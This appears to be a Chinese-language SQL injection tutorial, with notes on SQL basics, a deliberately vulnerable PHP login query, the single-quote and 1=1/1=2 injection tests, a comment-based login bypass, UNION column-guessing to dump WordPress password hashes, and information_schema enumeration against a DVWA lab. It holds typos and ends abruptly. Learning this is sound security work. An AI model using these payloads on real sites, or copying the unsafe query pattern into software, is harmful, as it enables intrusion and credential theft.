sql是用于访问和数据处理数据库的标准的计算机语言。sql是有二十世纪七十年代由IMB创建的,于1992年作为国际标准纳入ANSI
数据定义定义语言:DDL用于定义数据库结构
sql由两部分组成
数据操作语言DML:DML用于对数据库进行查询或者更新
DDL的主要指令有
CREATE DATABASE 创建新数据库
ALTER DATABASE 修改数据库
CREATE TABLE 创建新表
ALTER TABLE 改变数据库表
DROP TABLE 删除表
DML的主要指令有
SELECT 从数据库表中获取信息
UPDATA 更新数据库表中的数据
DELETE 从数据表中删除数据
INSERT INTO 向数据库表中插入数据
需要使用一些特殊的字符串来构建sql语句
' ' 字符串指示器('string')
; 语句终结符
|| 对于oracle,postgresql而言文链接
-- 单行注释符
# 单行注释符
/**/ 多行注释符
sql注入原理
sql注入是一种将sql代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台sql服务器加以解析并执行。
例子
如下是网页后端代码
<form action="xxx.php" method="get">//get请求会直接把请求的内容放进处理语句中
<input type="text" name="user" />
<input type="text" name="passwd" />
<input type="submit" value="Submit" />
</form>
核心代码如下
<?php
/*...*/
$sql="select*from table where user=$_ GET["user”]
and password=$_ GET["passwd"]";
Sresult=mysql query(sql);//执行查询
/*... */
?>
这是从前端用户访问到后端处理用户请求,sql语句执行的过程。
当用户通过浏览器向表单提交用户名"kill",密码"123456"时,则是通过一下的URL语句发送给web服务器:
http://xxx.com/xxxphp?user=kill&passwd=123456
当web服务器收到这个请求时,将会构建并执行一条sql语句进行查询,sql语句如下:
SELECT*FROM table WHERE user='kill'and passwd='123456'
当用户发送的请求是user修改后的sql查询,那么这样就可能导致sql注入漏洞
如果用户将user的内容以’‘kill’–’'来提交,则单引号用于截断前面的字符串,注释符–后面的内容就会被注释掉:
http://xxx.com/xxx.php?user=kill'
&passwd=123456
web应用程序会构建并发送下面这条sql语句:
SELECT*FROM table WHERE user='kill'--'and passwd='123456'
由于kill前面的单引号和–后 面的单引号是sql语句原有的,结果我们输入的‘–,这里’kill‘就已经形成了查询语句且–后面的内容全部注释掉,这样一来只要只要查询kill sql语句就成功了。
由于开发人员没有对一些特定字符进行过滤。
寻找注入点
如果要对一个网站进行sql注入攻击,首先需要找到存在sql注入漏洞的地方,也就是注入点,可能的sql注入点一般存在于登录页面,查找页面或添加页面等用户可以查找或修改数据的地方。
GET型的请求最容易被注入
通常我们关注ASP,JSP,CGI,PHP的网页,尤其是URL中携带http://xxx/xxx.php?id=num,其中,参数可以是整数类型也可以是字符串类型。
“单引号”法
在URL参数后面添加一个单引号,若存在注入点则通常会返回一个错误,列如,下列错误通常表明存在sql注入漏洞:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1′ at line 1
如果攻击者使用单引号注入http://localhost/xxx.php?id=1’,那么最终的语句就会变成select*from user where id =1’ 这导致sql语句执行失败且mysql函数不会返回任何值,后面有mysql_fetch_array将会返回给用户一条警告信息。
?id后面只能跟整数或者字符串,这样输入了1’违反了sql查询规则,得到了一条警告,也证明了sql语句没有对特定字符串进行过滤,我们可以通过绕过来实现sql注入。
永真永假法
我们使用http://localhost/xxx.php?id=1 and 1=1,传递给后台数据库服务器sql语句就会变成selectform user where id=1 and 1=1,并不影响逻辑,前面为真,后面也为真,但是已经检测到sql注入
使用http://localhost/xxx.php?id=1 and 1=2,传递给后台数据库服务器的sql语句就会变成:selectform user where id=1 and 1=2,前面为真后面为假,页面可能会报错或跳转。可以进行sql注入。
Sql语句(铺垫学习)
show databases;查看所有库 大写字母可以tab补齐
select database();返回当前所在的库
select user(); 返回当前所在目录的用户
select now(); 返回当前时间
use dvwa; 使用一个库
show tables; 查看当前库的表
select * from users; 查看某一个表的具体内容
select * form users\G; 进行分行打印
select user,password from users; 查看当前数据库的用户名及密码(密码值是以md5值储存)
select user,password avatar from users; (中间的avatar是别名 可自定义)
select user,password,avatar ,from users; (user,password,avatar ,逗号隔开算一个字段)
select user_id,first_name,last_name from users; (查询表中某一个字段的值)
select user,password ,host from mysql.user where user='root'; 查询字段不要在where语句后面的查询值加' ' 查询值得时候一定要在后面加上' '
select user,password ,host from mysql.user where user='root' and host='127.0.0.1' 多个条件成立且为真的时候返回对应的值。
select 1 数据库字段名不能是数字,但是查询时select 1会返回当前查新的值且不会报错。
//联合查询UNION
mysql> select user, password from mysql. user;
mysq1> select user login,user pass from wordpress.wp_ users;
mysq1> select user, password from mysql. user union select user_ login,user pass from wordpress.wp users;
mysq1> select user,password,host from mysql.user union select user. login,user. pass from
wordpress .Wp_ users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
注: union查询前后字段数必须相同 这样查询会这样报错。
mysql> select user, password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users; 前后字段值都为3,查询正常 select 1不报错,就可以冒充一个字段,来进行查询。
select user,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5; 前面红色字段不可改变即union前面 改变后面字段使我们得到想要的结果。以下注明了union的用法。
mysql union 语法
mysql union 用于把来自多个select 语句的结果组合到一个结果集合中。语法为:
select column,......from table1
union all]
select column,...... from table2
在多个select 语句中,对应的列应该具有相同的字段属性,且第一个select 语句中被使用的字段名称也被用于结果的字段名称。
mysql> select * from dvwa.users union select user_login,user_pass,3 from wordpress.wp_users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
这时候我们进行联合查询的时候会报错:没有相同字段。为了使语句执行成功,我们要猜字段,前面的字段是系统给的我们改不了,改union后面的字段。
猜字段
select * from dvwa.users union select 1;
select * from dvwa.users union select 1,2;
select * from dvwa.users union select 1,2,3;
select * from dvwa.users union select 1,2,3,4;
select * from dvwa.users union select 1,2,3,4,5;
select * from dvwa.users union select 1,2,3,4,5,6;
最终我们猜出字段,表出现,和我们在后台查询的表一样。字段数和字段名都得猜
由上我们猜出了表字段
select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wodpress.wp_users;
利用字段名来爆出表。
select * from dvwa.users where 1=3 union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
和上面的语句相同 where1=3使前面的语句不成立,从而得到我们下面想要得到的值。
information_schema 数据库字典
select * from information_schema.tables\G 查看数据库所有表的信息。
其中一个表的信息。
*************************** 1. row ***************************
TABLE_CATALOG: NULL
TABLE_SCHEMA: information_schema 归属哪个库
TABLE_NAME: CHARACTER_SETS 表名
TABLE_TYPE: SYSTEM VIEW
ENGINE: MEMORY
VERSION: 10
ROW_FORMAT: Fixed
TABLE_ROWS: NULL
AVG_ROW_LENGTH: 384
DATA_LENGTH: 0
MAX_DATA_LENGTH: 16604160
INDEX_LENGTH: 0
DATA_FREE: 0
AUTO_INCREMENT: NULL
CREATE_TIME: NULL
UPDATE_TIME: NULL
CHECK_TIME: NULL
TABLE_COLLATION: utf8_general_ci
CHECKSUM: NULL
CREATE_OPTIONS: max_row
s=43690
TABLE_COMMENT:
select DISTINCT TABLE_SCHEMA from information_schema.TABLES;相当于show databases;
DISTINCT:可以将重复的表给除去。
select TABLE_NAME,TABLE_SCHEMA from information_schema.TABLES\G;查询数据库里面的表名和库名.
select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G;以库名来分类表名进行查询。
select TABLE_NAME from information_schema.tables where table_schema ='dvwa' 相当于show tables;
查询数据库库名,表名,字段名 information.schema.columns
select * from information.schema.columns/G
查询所有的字段名
表给除去。